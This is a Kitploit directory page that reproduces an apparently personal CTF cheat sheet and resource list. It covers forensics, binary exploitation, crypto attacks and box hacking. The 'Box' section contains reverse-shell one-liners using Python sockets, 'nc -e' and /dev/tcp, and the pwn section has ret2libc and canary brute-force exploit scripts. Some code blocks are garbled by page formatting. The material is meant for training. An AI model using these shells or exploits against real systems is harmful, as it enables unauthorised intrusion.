Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CTFs — Foglio dei trucchi CTF + Writeup / File per alcuni dei CTF di sicurezza che ho fatto | Kitploit
Strumenti/GitHubGitHub/adamkadaban/ctfs
OSINT (Open Source Intelligence)Reverse EngineeringInformatica ForenseSicurezza WebSteganografiaCrittografiaCTFPenetration TestingApprendimento e FormazioneRisorse CurateBinary ExploitationLab e Pratica
84767849 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubadamkadaban/ctfs

CTFs

Foglio dei trucchi CTF + Writeup / File per alcuni dei CTF di sicurezza che ho fatto

Vedi RepositorySito web

CTF

Writeup / File per alcuni dei CTF Cyber che ho fatto

Ho incluso anche un elenco di risorse CTF e un cheat sheet completo che copre molti tipi di sfide CTF comuni

[!NOTE] Ora c'è un mirror web di questo repo su hackback.zip

Indice

  • Risorse

    • Canali YouTube
    • Siti di Pratica / Apprendimento
      • CTF
      • Generali
      • Pwn
      • Rev
      • Web
      • Crypto
      • Smart Contracts
      • Cloud
      • Pentesting
  • Cheat Sheet CTF

    • Forensics / Steganografia
      • Generali
      • Audio
      • Immagine
      • Video
      • Immagini di Macchine Virtuali
      • Pcap
    • Pwn / Binary Exploitation
      • Generali
      • Buffer overflow
      • PIE (Positional Independent Execution)
      • NX (Non-eseguibile)
      • ROP (per binari compilati staticamente)
      • Stack Canary
      • Vulnerabilità di Format String
      • Shellcode
      • Return-to-Libc
    • Reverse Engineering
      • SMT Solvers
      • Reverse dei controlli byte per byte
      • Ricerca di stringhe con gef
    • Web
      • Fuzzing dei campi di input
    • Crypto
      • CyberChef

      • Cifrari Comuni

      • RSA

        • Recupera informazioni RSA con pycryptodome
        • Teorema Cinese del Resto (p,q,e,c)
        • Attacco di Coppersmith (c,e)
        • Attacco di Pollard (n,e,c)
        • Attacco di Wiener (n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • Box
      • Connessione
      • Enumerazione
      • Escalation dei privilegi
      • Ascolta per reverse shell
      • Reverse shell
      • Ottieni una shell interattiva
        • Linux
        • Windows / Generale
    • OSINT
    • Varie

Risorse

Canali YouTube

  • John Hammond
    • Realizzava molti video CTF, ma ora si è dedicato ad altro
    • Comunque un sacco di video utili. Quelli sui CTF sono particolarmente fantastici per insegnare a chi è nuovo al cyber.
  • Live Overflow
    • Realizza video estremamente interessanti e approfonditi sul cyber.
    • Ha un'incredibile serie su pwn
  • IppSec
    • Fa writeup di ogni singola macchina HackTheBox
      • Parla di diversi modi per risolvere e perché funzionano. Altamente consigliato
  • Computerphile
    • Stesse persone di Numberphile, ma più figo. Fa video davvero introduttivi e intuitivi su concetti di base.
  • pwn.college
    • Professore dell'ASU con molti video su pwn
    • Materiale didattico guidato: https://pwn.college/
    • Tantissimi problemi di esercitazione: https://dojo.pwn.college/
  • PwnFunction
    • Video animati di altissima qualità e facili da capire su diversi argomenti
    • Argomenti un po' avanzati, ma facilmente comprensibili
  • Martin Carlisle
    • Fa video writeup fantastici delle sfide picoCTF.
  • Sam Bowne
    • Professore del CCSF che condivide apertamente tutte le sue lezioni e il materiale del corso sul suo sito web
  • UFSIT
    • Team Cyber dell'UF (sono un po' di parte, ma sicuramente uno dei migliori canali YouTube per questo)

Talk

Ecco alcune slide che ho creato: hackback.zip/presentations

Siti di Pratica / Apprendimento

CTF

  • PicoCTF
    • Tantissime fantastiche sfide di esercitazione.
    • Sicuramente lo standard di riferimento per iniziare
  • UCF
    • Buone in generale, ma ottime per esercitarsi con pwn
    • Sto lavorando per inserire i writeup qui
  • hacker101
    • CTF, ma leggermente più orientato al pentesting
  • CSAW
    • Funzionante il 90% del tempo e di solito nessuna delle connessioni funziona
    • Se però è attivo, ha molte buone sfide introduttive
  • CTF101
    • Una delle migliori introduzioni ai CTF che abbia visto (bravo osiris)
    • Molto conciso e adatto ai principianti

Generali

  • HackTheBox
    • Il sito di box originale
      • Le box sono selezionate per garantirne la qualità
    • Ora ha anche alcuni problemi in stile CTF
    • Ora ha corsi per iniziare a imparare
  • TryHackMe
    • Box leggermente più facili di HackTheBox
    • Sfide passo passo
    • Ora ha "percorsi di apprendimento" per guidarti attraverso gli argomenti
  • CybersecLabs
    • Ottima collezione di box
    • Ha anche roba CTF
  • VulnHub
    • Ha macchine virtuali vulnerabili che devi distribuire tu stesso
    • Molta varietà, ma a mio parere difficile trovare quelle buone

Pwn

  • pwnable.kr
    • Sfide con una buona gamma di difficoltà
  • pwnable.tw
    • Più duro di pwnable.kr
    • Ha writeup una volta risolta la sfida
  • pwnable.xyz
    • Altre sfide pwn
    • Ha writeup una volta risolta la sfida
    • Puoi caricare le tue sfide una volta risolte tutte
  • pwn dojo
    • Secondo me la migliore collezione di sfide pwn
    • Supportata da slide che insegnano come fare e ha un discord per chiedere aiuto
  • nightmare
    • Lo standard di riferimento per il pwn di binari C
    • Ha alcuni errori/refusi, ma complessivamente fantastico
  • pwn notes
    • Appunti di una persona random online
    • Molto superficiali, ma buona introduzione a tutto
  • Security Summer School
    • Corso di Sicurezza dell'Università di Bucarest
    • Spiegazioni molto adatte ai principianti
  • RPISEC MBE
    • Corso di Modern Binary Exploitation della RPI
    • Ha una buona quantità di laboratori/progetti per esercitarsi e alcune lezioni (leggermente datate)
  • how2heap
    • Serie sullo sfruttamento dell'heap realizzata dal team CTF dell'ASU
    • Include una funzione di debug molto interessante per mostrare come funzionano gli exploit
  • ROPEmporium
    • Set di sfide in ogni architettura principale che insegnano la Return-Oriented-Programming
    • Altissima qualità. Insegna dalle tecniche più basilari a quelle più avanzate.
    • Sto aggiungendo i miei writeup qui
  • Phoenix Exploit Education

Rev

  • challenges.re
    • Tantissime sfide 0_0
    • Molta varietà
  • reversing.kr
  • crackmes.one
    • Tantissime sfide in stile crackme (CTF)
  • Malware Unicorn Workshops
    • Workshop gratuiti su Reverse engineering e Analisi Malware

Web

  • websec.fr
    • Molte sfide web con una buona gamma di difficoltà
  • webhacking.kr
    • Ha un archivio di molte buone sfide web
  • Securing Web Applications
    • Corso CCSF open source
  • OWASP Juice Shop
    • Molto orientato al pentesting, ma utile per esplorare il web nei CTF
    • Oltre 100 vulnerabilità/sfide in totale
  • PortSwigger
    • Lo standard di riferimento per comprendere l'hacking web
    • Tantissime fantastiche sfide e spiegazioni
  • DVWA
    • Molto orientato al pentesting, ma utile per esplorare il web nei CTF
  • bWAPP
    • Molto orientato al pentesting, ma utile per esplorare il web nei CTF
  • CTF Challenge
    • Collezione di sfide web create da Adam Langley, progettate per essere il più realistiche possibile.
    • Buono per fare esperienza con i bug bounty

Crypto

  • CryptoHack
    • Sto lavorando per inserire i writeup qui
  • cryptopals
    • Il sito di sfide crypto originale.
  • CryptoCTF
    • CTF di crittografia annuale. Gli anni precedenti sono accessibili su 20{19,20,21,22,23,24}.cr.yp.toc.tf.

Smart Contracts

  • Capture the Ether

Cloud

  • CloudFoxable
    • Ti guida nella configurazione di un ambiente vulnerabile da sfruttare usando cloudfox
  • flaws.cloud
    • Sfide gratuite che riguardano la ricerca di segreti in S3, EC2 e Lambda

Pentesting

  • hacker101
  • hacksplaining
  • Sviluppo di exploit
    • Corso CCSF open source
  • Introduzione alla Sicurezza
    • Corso della UC San Diego tenuto da Deian Stefan
    • Copre pwn e crypto di base
  • Cheat Sheet Active Directory
  • WADComs
    • Cheat sheet interattivo per ambienti Windows/AD
  • LOLBAS
    • Cheat sheet interattivo per binari, script e librerie Windows "Living off the land" per lo sfruttamento
  • GTFOBins
    • Cheat sheet interattivo per tecniche Linux "Living off the land".

Cheat Sheet CTF

Forensics / Steganografia

Generali

  • AperiSolve
    • Strumento che esegue automaticamente altri strumenti stego
  • Ottima risorsa di John Hammond per diversi tipi di sfide:
    • https://github.com/JohnHammond/ctf-katana
  • Un altro ottimo cheat sheet per creare e risolvere sfide:
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <file.xyz>
    • Determina il tipo di file
  • steghide
    • steghide extract -sf <file.xyz>
    • Estrae file incorporati
  • stegseek
    • stegseek <file> <elenco password>
    • Estrae file incorporati usando una wordlist
    • Super super veloce
  • binwalk
    • binwalk -M --dd=".*" <file.xyz>
    • Estrae file incorporati
  • exiftool
    • exiftool <file.xyz>
    • Legge i metadati
  • strings
    • strings <file.xyz>
    • Trova tutti i caratteri stampabili in un file
  • hexedit
    • hexedit <file.xyz>

Audio

  • Audio di fax:

    • Esempio
    • Decodificatore
  • Audio SSTV (slow-scan tv) (roba lunare)

    • Esempio
    • Decodificatore
    • Decodificatore alternativo
    • Usa queste impostazioni di qsstv:

    Impostazioni SSTV

  • Immagine spettrogramma

    • Decodificatore
  • Cambia tono, velocità, direzione...

    • Tono, velocità, accordatura
    • Inverti
  • DTMF (dual tone multiple frequency) tasti telefonici

    • multimon-ng -a DTMF -t wav <file.wav>
      • Tieni presente che potrebbero essere lettere multitap.
        • Questo può decodificare i numeri in testo
  • Nastro cassetta

    • Esempio
    • Decodificatore (da wav a file tap)
  • Codice Morse

    • Decodificatore

Immagine

  • stegsolve

    • Scorri i bit
  • foremost

    • Strumento speciale per estrarre immagini
    • Può essere usato per ricostruire immagini danneggiate (ad esempio in un pcap)
  • Depix

    • Spixelizza il testo
  • Controlla se qualcosa è stato photoshoppato (guarda le alte luci)

    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg

    • Decodificatore LSB
  • jsteg

    • Solutore di steganografia JPEG
  • pixrecovery

    • Finora lo strumento più efficace per il recupero di PNG che abbia trovato (purché non ti interessino le filigrane)
    • photopea funziona molto bene anche
  • crc32fix

    • Ripara altezza e larghezza dei PNG basati sul checksum
  • PCRT

    • Ripara le informazioni di intestazione e piè di pagina dei PNG
  • png-crc-fix

    • Ripara il checksum dei PNG
  • pngcheck

    • Scopre se ci sono errori nel PNG
    • pngcheck

Video

Immagini di Macchine Virtuali

  • Recupero file
    • photorec <file.bin>
  • Puoi montare un'immagine come macchina virtuale
    • https://habr.com/en/post/444940/
  • Montare un file .img:
    • binwalk -M --dd=".*" <nomeFile>
    • esegui file sull'output e seleziona il file del filesystem Linux
    • losetup /dev/loop<numeroLoopLibero> <fileSystemFile>

Pcap

  • Estrai dati con tcpflow
    • tcpflow -r <file.pcap>
  • Estrai dati con wireshark
    • File → Esporta oggetti → Effettua selezione

Pwn / Binary Exploitation

  • Per questo, suggerisco di guardare il mio repo LearnPwn invece, dato che questo cheat sheet è stato fatto prima che sapessi molto di pwn
    • Ho comunque incluso alcune note aggiuntive a quanto già scritto.

Generali

  • Controlla la sicurezza di un ELF
    • checksec <binario>
    • rabin2 -I <binario>
  • Controlla la sicurezza di un PE
    • binary-security-check
    • binary-security-check <bin>.exe
  • Controlla seccomp bpf
    • seccomp-tools
    • seccomp-tools dump ./<binario>
  • Guarda i simboli
    • readelf -s <binario>
  • Guarda le stringhe
    • rabin2 -z <binario>
  • Impacchetta indirizzo in byte
    • little endian (per 32 bit)
      • python -c "import pwn; print(pwn.p32(<intIndirizzo>))
    • big endian (per 64 bit)
      • python -c "import pwn; print(pwn.p64(<intIndirizzo>))
    • pwntools impacchetta automaticamente gli indirizzi con l'endianness corretta per te

Buffer overflow

  • Se mai hai bisogno di ottenere una shell /bin/sh e sei sicuro che funzioni ma il programma esce comunque, usa questo trucco:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<programma>
    • pwntools fa questo con la sua process.interactive()

PIE (Positional Independent Execution)

  • Determina il valore casuale
    • pwn cyclic <numCaratteri> per generare il payload
    • dmesg | tail | grep segfault per vedere dove si è verificato l'errore
    • pwn cyclic -l 0x<posizioneErrore> per vedere l'offset casuale per controllare il program counter
    • esempio

NX (Non-eseguibile)

  • Possiamo usare ROP (return oriented programming) per risolvere

ROP (per binari compilati staticamente)

  • ROPgadget
    • visualizza i gadget e genera automaticamente ropchain
    • ROPgadget --ropchain --binary <binario>
      • Puoi quindi aggiungere il padding all'inizio del codice (basato sulla differenza tra il tuo buffer e l'indirizzo di ritorno) ed eseguire il codice per ottenere una shell
      • Demo
  • ropr

Stack CanaryTrovare il canary dello stack in un debugger

  • Il canary dello stack è un valore posto prima dell'EIP/RIP (instruction pointer) che può essere sovrascritto da un buffer overflow. Il programma provoca un errore fondamentalmente se lo stack viene sovrascritto con qualcosa di diverso da quello che era originariamente. Il nostro obiettivo è trovare lo stack originale in modo che quando facciamo overflow, il programma funzioni normalmente.
  • Il canary dello stack è preso da gs, o fs (rispettivamente per 32 e 64 bit)
    • Nel disassemblato, prima di leggere qualcosa, si può vedere una riga simile alla seguente:``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
- Qui, il canary dello stack viene spostato in `rax` all'offset +8.
    - Pertanto, interrompi all'offset successivo e controlla cosa c'è in rax (`i r rax`) per vedere qual è il canary corrente

**Canary Statici**
- Un canary è statico solo se è stato implementato manualmente dal programmatore (come in alcune sfide introduttive di pwn), o se si è in grado di fare un fork del programma.
    - Quando fai il fork del binario, il processo figlio ha lo stesso canary, quindi puoi fare un bruteforce byte per byte su di esso

**Extra**
- Quando un canary dello stack viene sovrascritto in modo improprio, provoca una chiamata a `__stack_chk_fail`
    - Se non riusciamo a leakare il canary, possiamo anche modificare la tabella GOT per impedire che venga chiamata
- Il canary è memorizzato nella struttura `TLS` dello stack corrente e viene inizializzato da `security_init`
    - Se si riesce a sovrascrivere il valore reale del canary, lo si può impostare uguale a qualsiasi cosa si decida di overflow.

- Script semplice per fare brute force su un canary statico di 4 byte:```python
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

Vulnerabilità delle stringhe di formato

  • Consulta la Tabella 2 per cosa provare se vedi "printf(buf)" o qualcosa del genere:
    • https://owasp.org/www-community/attacks/Format_string_attack
  • Consiglio vivamente di guardare John Hammond che affronta la sfida 'echooo' del picoCTF 2018
  • A volte, provare a stampare solo stringhe dallo stack come: '%s %s %s %s %s %s' può causare errori perché non tutto nello stack è una stringa.
  • Prova a ridurre questo problema usando invece '%x %x %x %x %x %s'
  • Invece di dover aumentare continuamente il numero di %x e %s che digiti, puoi passare un parametro per semplificare:
    • %1$s - Questo stamperà il primo valore nello stack (per quanto ho capito, quello subito accanto al tuo buffer) come stringa.
    • %2$s - Questo stamperà il secondo valore come stringa, e hai capito l'idea
    • Puoi usare loop one-liner per provare a trovare la flag facendo leak dello stack. Premi ^C (CTRL + C) per passare al valore successivo.
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • Puoi controllare quanto leak fai usando diversi parametri di dimensione:
    • %hhx fa leak di 1 byte (metà della metà della dimensione di un int)
    • %hx fa leak di 2 byte (metà della dimensione di un int)
    • %x fa leak di 4 byte (dimensione di un int)
    • %lx fa leak di 8 byte (dimensione di un long)

Shellcode

  • Buon sito web per trovare diversi shellcode:
    • http://shell-storm.org/shellcode/

Return-to-Libc

  • Sovrascriveremo l'EIP per chiamare la funzione di libreria system() e passeremo anche cosa deve eseguire, in questo esempio un buffer con "/bin/sh"

  • Buona spiegazione:

    • https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
  • Buon esempio (vai a 3:22:44):

    • https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
    • https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
  • Ottieni l'indirizzo per execve("/bin/sh")

    • one_gadget <libc file>
  • Se conosci già il file libc e una posizione (cioè non devi fare leak...)```python #!/bin/python3

from pwn import * import os

binaryName = 'ret2libc1'

get the address of libc file with ldd

libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

use one_gadget to see where execve is in that libc file

one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

pick one of the suitable addresses

libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)

get the address of printf from the binary output

printf_loc = int(p.recvuntil('\n').rstrip(), 16)

get the address of printf from libc

printf_libc = l.sym['printf']

calculate the base address of libc

libc_base_address = printf_loc - printf_libc

generate payload

0x17 is from gdb analysis of offset from input to return address

offset = 0x17

payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)

send the payload

p.sendline(payload)

enter in interactive so we can use the shell created from our execve payload

p.interactive()

root@kitploit:~
## Ingegneria Inversa

> Guida interessante: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - Decompilatore molto utile
- dotPeek o dnSpy
    - decompilare eseguibili .NET
- [jadx](https://github.com/skylot/jadx) e jadx-gui
    - decompilare apk
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - decompilare java online
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - Decompilatore java avanzato da terminale
- apktool
    - decompilare apk
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - Analisi binaria
    - [peda](https://github.com/longld/peda) (estensione per funzionalità aggiuntive)
    - [gef](https://github.com/hugsy/gef) (estensione gdb per pwners)
- [radare2](https://github.com/radareorg/radare2)
    - Analisi binaria
- [FLOSS](https://github.com/mandiant/flare-floss)
    - `strings` potenziato. Usa analisi statica per trovare e calcolare stringhe

#### Risolutori SMT
- [angr](https://github.com/angr/angr) (python)
    - [Documentazione](https://docs.angr.io/core-concepts/toplevel)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### Ingegneria inversa dei controlli byte per byte (attacco side-channel)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- Ecco una versione che ho creato per una challenge che utilizza un attacco basato sul tempo:
    - Potrebbe essere necessario eseguirlo un paio di volte per tener conto della casualità```python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

Ricerca di stringhe con gef

  • Se la tua flag viene letta in una variabile o registro in qualsiasi momento, puoi interrompere dopo che è stata spostata ed eseguire grep <string> e gef mostrerà automaticamente la stringa che corrisponde al tuo pattern di ricerca

Web

  • Nikto (se consentito)
    • cerca automaticamente vulnerabilità
  • gobuster (se consentito)
    • Forza bruta directory e file
  • hydra (se consentito)
    • Forza bruta i login per vari servizi
  • BurpSuite
    • Intercetta le richieste web e consente di modificarle
  • Wireshark
    • Analizza il traffico di rete in tempo reale e file pcap
  • php reverse shell
    • Utile per siti web che consentono il caricamento di file
    • Questo file deve essere eseguito sul server per funzionare
  • WPScan
    • Scansiona siti wordpress
    • Usa wpscan --url <site> --plugins-detection mixed -e con una chiave API per risultati migliori
  • jwt
    • Puoi identificare un token JWT poiché json codificato in base64 (e quindi i token jwt) inizia con "ey"
    • Questo sito decodifica i JSON web token
    • Puoi craccare il segreto del JSON web token per modificare e firmare i tuoi token
      • echo <token> > jwt.txt
      • john jwt.txt
  • SQL injection
    • sqlmap
      • sqlmap --forms --dump-all -u <url>

Fuzzing dei campi di input

  • FFUF
    • Copia la richiesta nel campo di input e sostituisci il parametro con "FUZZ":
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • Usa -fs per filtrare le dimensioni

Crypto

CyberChef

  • CyberChef
    • Esegue varie operazioni crittografiche

Cipher Detector

Hashes

  • hashid
    • Utilità a riga di comando per rilevare il tipo di hash

Cifrari comuni

  • Caesars Cipher
  • Vigenere Cipher```python

Solver using custom table

cipherText = "" plainText = "" flagCipherText = "" tableFile = ""

with open(cipherText) as fin: cipher = fin.readline().rstrip()

with open(plainText) as fin: plain = fin.readline().rstrip()

with open(flagCipherText) as fin: flag = fin.readline().rstrip()

with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break

print(key)

dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break

print(dec_flag)

root@kitploit:~
- [Cifrario a sostituzione](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Cifrario di Cesare con chiave](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### RSA

#### Ottieni info RSA con pycryptodome```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

Teorema cinese del resto (p,q,e,c)

  • Usa questa opzione quando puoi fattorizzare il numero n

    • Implementazioni errate hanno più di un fattore primo
    • Dimostrazione
  • Vecchio```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)

def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m

p = q = e = c =

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))

root@kitploit:~
- Nuovo```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
  • Sito web che fornisce fattori e il totiente di Eulero (phi)
    • https://www.alpertron.com.ar/ECM.HTM

Attacco Coppersmith (c,e)

  • Solitamente utilizzato se l'esponente è molto piccolo (e <= 5)

    • Dimostrazione```python from Crypto.Util.number import * def nth_root(radicand, index): lo = 1 hi = radicand while hi - lo > 1: mid = (lo + hi) // 2 if mid ** index > radicand: hi = mid else: lo = mid

    if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1

c = e =

plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))

root@kitploit:~
#### Attacco di Pollard (n,e,c)
- Basato sul [metodo di fattorizzazione di Pollard](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf), che rende i prodotti di primi [facili da fattorizzare](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) se sono (B)-smooth
    - Questo è il caso se `p-1 | B!` e `q - 1` ha un fattore > `B````python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

Attacco di Wiener (n,e,c)

  • Da usare quando d è troppo piccolo (o e è troppo grande)
    • Utilizzando questo modulo python
    • Dimostrazione```python from Crypto.Util.number import * import owiener

n = e = c =

d = owiener.attack(e, n) m = pow(c, d, n)

flag = long_to_bytes(m) print(flag)

root@kitploit:~
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## Box

### Connessione

- ssh
    - `ssh <username>@<ip>`
    - `ssh <username>@<ip> -i <private key file>`
    - Monta SSH come filesystem locale:
        - `sshfs -p <port> <user>@<ip>: <mount_directory>`
    - Host noti
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
    - `nc <ip> <port>`
    

### Enumerazione

- Scoperta macchine
    - `netdiscover`
- Scansione porte macchina
    - `nmap -sC -sV <ip>`
- Enumerazione Linux
    - `enum4linux <ip>`
    
- Enumerazione SMB
    - `smbmap -H <ip>`
- Connetti alla condivisione SMB
    - `smbclient //<ip>/<share>`

### Escalation dei privilegi

- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - Cerca automaticamente vettori di escalation dei privilegi
- Elenca i comandi che possiamo eseguire come root
    - `sudo -l`
- Trova file con permesso SUID
    - `find / -perm -u=s -type f 2>/dev/null`
    - Questi file vengono eseguiti con i privilegi del proprietario invece che dell'utente che li esegue
- Trova i permessi per tutti i servizi
    - `accesschk.exe -uwcqv *`
    - Cerca servizi che non sono sotto gli account System o Administrator
- Interroga servizio
    - `sc qc <service name>`
    - Funziona solo in cmd.exe 

### Ascolta per reverse shell

- `nc -lnvp <port>`

### Reverse shell

- revshells.com
    - modelli per praticamente tutto ciò di cui potresti aver bisogno
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`

### Ottieni shell interattiva

#### Linux

1. Esegui il seguente comando python per renderlo parzialmente interattivo: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. Esci dalla sessione netcat con `CTRL+Z` ed esegui `stty raw -echo` localmente
3. Rientra nella sessione con il comando `fg` (e l'ID del job dopo se necessario)
4. Cambia il tuo emulatore di terminale in xterm eseguendo `export TERM=xterm` (potrebbe non essere necessario)
5. Cambia la tua shell in bash eseguendo `export SHELL=bash` (potrebbe non essere necessario)
6. Fatto! Ora la tua shell dovrebbe essere completamente interattiva

#### Windows / Generale

1. Installa `rlwrap` sul tuo sistema
2. Ora, ogni volta che esegui un listener nc, metti `rlwrap` davanti
3. Ad esempio: `rlwrap nc -lvnp 1337`
    * Questo ti darà i tasti freccia e la cronologia dei comandi, ma non darà l'autocompletamento (per quanto ne so) per sistemi Windows e *nix 

## OSINT

- [pimeyes](https://pimeyes.com/en)
    - Ricerca inversa di volti su internet
- [OSINT Framework](https://osintframework.com/)
    - Sito web che aggrega tonnellate di strumenti OSINT
- [GeoSpy AI](https://geospy.ai)
	- LLM di visione geospaziale in grado di stimare la posizione solo da un'immagine
- [overpass turbo](https://overpass-turbo.eu)
	- Sito web che permette di interrogare l'API di OpenStreetMap e visualizzare i risultati
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
	- Sito web che permette di interrogare facilmente l'API OSM

## Varie

- Risoluzione errori DNS
    - `dig <site> <recordType>`
    - [Elenco dei tipi di record](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - Assicurati di provare TXT
- Esegui un binario con un'architettura diversa
    - 64 bit:
        - `linux64 ./<binary>`
    - 32 bit:
        - `linux32 ./<binary>`
        
- Estrai macro MS:
    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- Visualizza CNC GCode
